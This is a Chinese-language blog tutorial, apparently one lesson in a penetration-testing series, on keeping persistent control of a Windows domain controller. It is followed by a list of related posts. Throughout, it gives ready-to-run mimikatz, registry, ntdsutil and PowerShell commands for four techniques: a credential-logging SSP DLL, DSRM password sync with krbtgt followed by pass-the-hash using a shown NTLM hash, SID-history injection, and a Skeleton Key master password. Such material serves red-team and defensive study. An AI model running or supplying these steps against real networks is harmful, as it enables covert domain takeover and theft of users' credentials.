第141天:内网安全-权限维持&域控后门&SSP&HOOK&DSRM&SID&万能钥匙

目录

[案例一:内网域-权限维持-基于验证 DLL 加载-SSP](#案例一:内网域-权限维持-基于验证 DLL 加载-SSP)

案例二:内网域-权限维持-基于机制账号启用-DSRM

[案例三: 内网域-权限维持-基于用户属性修改-SID-history](#案例三: 内网域-权限维持-基于用户属性修改-SID-history)

案例四:内网域-权限维持-基于登录进程劫持-Skeleton-Key


案例一:内网域-权限维持-基于验证 DLL 加载-SSP

一共有两种方式,两种方式呢,第一种借助mimikatz,但是重启后会失效,第二种呢借助的是mimikatz种的mimilib.dll文件,但是必须重启才能生效

第一种方式,执行下面的命令

privilege::debug

misc::memssp

执行以后注销,注意不是重启,在c:/windows/system32/mimilsa.log文件种会出现账号密码保存

重启之后再输入不会更新

第二种

经过实验发现移动dll文件必须是x64位的

将mimilib.dll文件移动到c:/windows/system32下

修改注册表重启生效

reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"
#查看注册表

reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ
#设置将mimilib导入

powershell中运行

执行完成以后注册表里面会加入对应的值

cs中执行,好像shell就可以执行powershell命令

密码会保存在下面这个文件中

c:\windows\system32\kiwissp.log

真实的环境是建议两种方式一起运行

案例二:内网域-权限维持-基于机制账号启用-DSRM

利用系统自带机制模式DSRM,修改DSRM默认登录方式和属性,通过其同步krbtgt进行PTH攻击,实现持续化控制,但适用于系统=>windows server2008。每个域控制器都有本地管理员账号和密码(与域管理员账号和密码不同)。DSRM账号可以作为一个域控制器的本地管理员用户,通过网络连接域控制器,进而控制域控制器。

整个操作都是在域控主机上实验

krbtgt用户是Kerberos协议中的一个特殊用户账号,由系统自动生成,用于Kerberos认证过程中的票据签发。

drsm是域还原模式的密码

获取krbtgt的ntml hash

privilege::debug

lsadump::lsa /patch /name:krbtgt #获取krbtgt的hash,通过实验发现这里可以用任何用户

token::elevate #提升权限

lsadump::sam #保存hash

dsrm&krbtgt&NTLM hash同步

#进入ntdsutil

ntdsutil

#修改DSRM的密码

set DSRM password

#使DSRM的密码和指定域用户的密码同步 eg:sync from domain account [域用户名]

sync from domain account krbtgt

#退出

按两次q即可退出(第1次:退出DSRM密码设置模式;第2次退出ntdsutil)

要保证密码未过期

管理员用户的ntlm变成与krbtgt一致了

修改drsm的登录方式,2为允许远程登陆

New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD

利用hash进行攻击

privilege::debug

sekurlsa::pth /domain:owa2010cn-god /user:administrator /ntlm:b097d7ed97495408e1537f706c357fc5

dir \\owa2010cn-god\c$

读取文件

案例三: 内网域-权限维持-基于用户属性修改-SID-history

这个实验必须在域控中进行

利用命令查看name,sid

shell wmic useraccount get name,sid

sid里面只有后四位有区别,500多是高权限用户,1000多则为普通用户

通过powershell命令获取某一个用户的sid

Import-Module ActiveDirectory

Get-ADUser webadmin -Properties sidhistory

给与webadmin用户admin权限

privilege::debug

sid::patch

sid::add /sam:webadmin /new:administrator

再次查看会发现多了一个historysid值

webadmin用户就可以成功访问,这里不太清除为什么又要用ip才能够成功

而别的用户无法访问

利用命令查看webadmin时他还是1000多的sid

案例四:内网域-权限维持-基于登录进程劫持-Skeleton-Key

开启万能密码的方式,这个命令时在域控中输入并开启的

privilege::debug

misc::skeleton

正常普通用户利用ipc建立连接

域控中开启万能密码后(必须使用x64位的mimikatz,才能成功)

这个时候mary用户利用mimikatz建立连接成功 ,这里好像是只能写主机名才可以

net use \\owa2010cn-god\ipc$ "mimikatz" /user:god\administrator

dir访问文件夹

相关推荐
阿龟在奔跑1 小时前
引用类型的局部变量线程安全问题分析——以多线程对方法局部变量List类型对象实例的add、remove操作为例
java·jvm·安全·list
.Ayang1 小时前
SSRF漏洞利用
网络·安全·web安全·网络安全·系统安全·网络攻击模型·安全架构
.Ayang1 小时前
SSRF 漏洞全解析(概述、攻击流程、危害、挖掘与相关函数)
安全·web安全·网络安全·系统安全·网络攻击模型·安全威胁分析·安全架构
好想打kuo碎2 小时前
1、HCIP之RSTP协议与STP相关安全配置
网络·安全
周全全2 小时前
Spring Boot + Vue 基于 RSA 的用户身份认证加密机制实现
java·vue.js·spring boot·安全·php
Mr.Pascal3 小时前
刚学php序列化/反序列化遇到的坑(攻防世界:Web_php_unserialize)
开发语言·安全·web安全·php
风间琉璃""3 小时前
二进制与网络安全的关系
安全·机器学习·网络安全·逆向·二进制
dot.Net安全矩阵4 小时前
.NET 通过模块和驱动收集本地EDR的工具
windows·安全·web安全·.net·交互
Hacker_Oldv5 小时前
网络安全的学习路线
学习·安全·web安全